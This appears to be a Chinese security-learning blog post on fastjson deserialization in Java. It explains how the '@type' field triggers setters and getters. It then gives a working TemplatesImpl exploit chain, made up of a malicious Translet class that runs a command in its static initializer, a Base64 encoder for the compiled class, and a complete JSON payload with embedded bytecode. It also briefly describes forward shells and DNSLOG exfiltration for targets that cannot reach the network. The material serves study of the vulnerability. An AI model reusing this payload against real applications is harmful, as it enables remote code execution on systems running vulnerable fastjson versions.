fastjson
fastjson
fastjson解析流程
fastjson是用来实现json字符串和类之间的转换,也就是它可以把类转换为一个json字符串来表示,也可以把代表类的json字符串解析为类
当fastjson对相应的json字符串进行解析时会调用类属性的set和get方法
一个例子:
package org.example; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.serializer.SerializerFeature; public class fastJsonTest { static class Person{ public String name; private int age; public Person(){ this.name = "gr3"; this.age = 1; } public void setName(String name) { System.out.println("use setName"+"\n"); this.name = name; } public String getName(){ System.out.println("use getName"+"\n"); return this.name; } public void setAge(int age) { System.out.println("use setAge"+"\n"); this.age = age; } public int getAge() { System.out.println("use getAge"+"\n"); return this.age; } } public static void main(String[] args) { //String jsonString = "{\"@type\":\"org.example.fastJsonTest$Person\",\"age\":2,\"name\":\"gr3\"}"; Person p = new Person(); String s = JSON.toJSONString(p, SerializerFeature.WriteClassName); System.out.println(s+"\n"); System.out.println(JSON.parseObject(s)); //System.out.println(JSON.parseObject(jsonString)); } }
结果:
use getAge use getName {"@type":"org.example.fastJsonTest$Person","age":1,"name":"gr3"} use setAge use setName use getAge use getName {"name":"gr3","age":1}
通过结果可知把类对应的对象转json字符串会调用类属性的get方法,而parseObject也就是把json字符串转回类会调用类属性的get和set方法。而jsoo字符串中的@type字段可以指定要解析的类,也就是如果parseObject的参数可控,我们又找到了一个类它的属性的get、set方法可以利用(get或set逻辑可以和之前学的类加载、cc链、jndi等联系起来就叫可利用)就能进行攻击
可利用set、get方法
set的查找方式:
- 方法名长度大于4
- 非静态方法
- 返回值为void或当前类
- 方法名以set开头
- 参数个数为1
get的查找方式:
- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
利用
payload总结:
https://pazuris.cn/2023/08/31/FastJson全系漏洞分析/#FastJson各种payload
TemplatesImpl
fastjson->TemplatesImpl. getOutputProperties()->TemplatesImpl.newTransformer()->TemplatesImpl.getTransletInstance()->TemplatesImpl.defineTransletClasses()->TemplatesImpl.defineClass()->ClassLoader.defineClass()
TemplatesImpl. getOutputProperties():
public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
可以看到这里的getOutputProperties()逻辑调用了newTransformer(),而之前cc3链知道TemplatesImpl.newTransformer()->TemplatesImpl.getTransletInstance()->TemplatesImpl.defineTransletClasses()->TemplatesImpl.defineClass()->ClassLoader.defineClass()这条链是可以利用加载恶意类的。现在就需要查看具体的细节设置属性值满足一些条件让fastjson->TemplatesImpl. getOutputProperties()->TemplatesImpl.newTransformer()->TemplatesImpl.getTransletInstance()->TemplatesImpl.defineTransletClasses()->TemplatesImpl.defineClass()->ClassLoader.defineClass()可以成功加载我们的恶意类
是要调用getOutputProperties(),所有json字符串需要有_outputProperties属性
看newTransformer()中的:
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
_tfactory需要设置,getTransletInstance():
if (_name == null) return null; if (_class == null) defineTransletClasses();
_name!=null,_class==null才可以调用defineTransletClasses()
,看defineTransletClasses(),会加载_bytecodes指定的类的字节码,所以恶意类是给到_bytecodes,但是字节码怎么写到一个json字符串里面(分析解析流程可以知道是编码为base64)
需要设置的属性:
outputProperties、 name、bytecodes、tfactory、class
恶意类(编译为class文件):
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class fastJsonEvil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e){ throw new RuntimeException(e); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
base64编码器:
package org.example; import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.util.Base64; import java.util.Base64.Encoder; public class base64Encoder { public static void main(String args[]) { byte[] buffer = null; String filepath = "D:\\javaSecurity\\rmiServer\\untitled\\src\\main\\java\\fastJsonEvil.class"; try { FileInputStream fis = new FileInputStream(filepath); ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int n; while((n = fis.read(b))!=-1) { bos.write(b,0,n); } fis.close(); bos.close(); buffer = bos.toByteArray(); }catch(Exception e) { e.printStackTrace(); } Encoder encoder = Base64.getEncoder(); String value = encoder.encodeToString(buffer); System.out.println(value); } }
payload:
public static void main(String[] args) { String text1 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAdAQAKU291cmNlRmlsZQEAEWZhc3RKc29uRXZpbC5qYXZhDAAKAAsHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAoAQAMZmFzdEpzb25FdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAAHQABAAEAAAAFKrcAAbEAAAABAA0AAAAGAAEAAAALAAEADgAPAAIADAAAABkAAAADAAAAAbEAAAABAA0AAAAGAAEAAAAYABAAAAAEAAEAEQABAA4AEgACAAwAAAAZAAAABAAAAAGxAAAAAQANAAAABgABAAAAHQAQAAAABAABABEACAATAAsAAQAMAAAAVAADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAIADQAAABYABQAAAA4ACQASAAwAEAANABEAFgATABQAAAAHAAJMBwAVCQABABYAAAACABc=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ },'_class':{ }}"; //JSON.parseObject(payload); JSON.parseObject(text1, Feature.SupportNonPublicField); } }
需要加Feature.SupportNonPublicField,因为fastjson反序列化只对public的属性进行。
fastjson不出网
https://xz.aliyun.com/t/12492#toc-2
fastjson一般都是配合rmi或者ldap进行远程恶意类调用来攻击,如果不出网则无法加载攻击者自己搭建的远程服务的恶意类。这时需要找目标本地的java环境是否可以利用,比如可以用TemplatesImpl类加载恶意类,而恶意类内容可以通过json字符串的_bytecodes来指定(不出网恶意内容可以搞正向shell,或者数据外带比如DNSLOG、静态资源写入)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!